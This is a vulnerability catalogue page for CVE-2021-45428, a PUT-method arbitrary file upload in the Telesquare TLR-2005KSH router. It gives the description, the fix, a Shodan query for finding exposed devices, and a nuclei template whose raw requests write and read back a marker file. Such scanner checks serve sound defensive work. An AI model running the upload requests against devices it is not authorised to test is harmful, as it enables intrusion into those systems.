Browse / CVEs / CVE-2021-45428
CVE-2021-45428· telesquare / tlr-2005ksh· CWE-639
Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Upload
criticalseverity
9.8CVSS score
56.9%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
TLR-2005KSH is affected by an incorrect access control vulnerability. THe PUT method is enabled so an attacker can upload arbitrary files including HTML and CGI formats.
Impact
Successful exploitation of this vulnerability could result in unauthorized accessand data leakage.
Fix
Apply the latest security patch or update to a version that addresses the arbitrary file upload vulnerability.
How to confirm it
Send: GET /{{randstr}}.txt ; PUT /{{randstr}}.txt
Positive when: status_code_1 == 404 && status_code_2 == 201 and contains(body_3, "CVE-2021-45428") && status_code_3 == 200Run it with nuclei: nuclei -id CVE-2021-45428 -u <target>
The full check
id: CVE-2021-45428
info:
name: Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Upload
author: gy741
severity: critical
description: |
TLR-2005KSH is affected by an incorrect access control vulnerability. THe PUT method is enabled so an attacker can upload arbitrary files including HTML and CGI formats.
impact: |
Successful exploitation of this vulnerability could result in unauthorized accessand data leakage.
remediation: |
Apply the latest security patch or update to a version that addresses the arbitrary file upload vulnerability.
reference:
- https://drive.google.com/file/d/1wM1SPOfB9mH2SES7cAmlysuI9fOpFB3F/view?usp=sharing
- http://packetstormsecurity.com/files/167101/TLR-2005KSH-Arbitrary-File-Upload.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-45428
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-45428
cwe-id: CWE-639
epss-score: 0.56931
epss-percentile: 0.99075
cpe: cpe:2.3:h:telesquare:tlr-2005ksh:-:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: telesquare
product: tlr-2005ksh
shodan-query: http.html:"TLR-2005KSH"
tags: cve2021,cve,telesquare,intrusive,fileupload,packetstorm,vuln
http:
- raw:
- |
GET /{{randstr}}.txt HTTP/1.1
Host: {{Hostname}}
- |
PUT /{{randstr}}.txt HTTP/1.1
Host: {{Hostname}}
CVE-2021-45428
- |
GET /{{randstr}}.txt HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code_1 == 404 && status_code_2 == 201'
- 'contains(body_3, "CVE-2021-45428") && status_code_3 == 200'
condition: andReferences
- https://drive.google.com/file/d/1wM1SPOfB9mH2SES7cAmlysuI9fOpFB3F/view?usp=sharing
- http://packetstormsecurity.com/files/167101/TLR-2005KSH-Arbitrary-File-Upload.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-45428
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from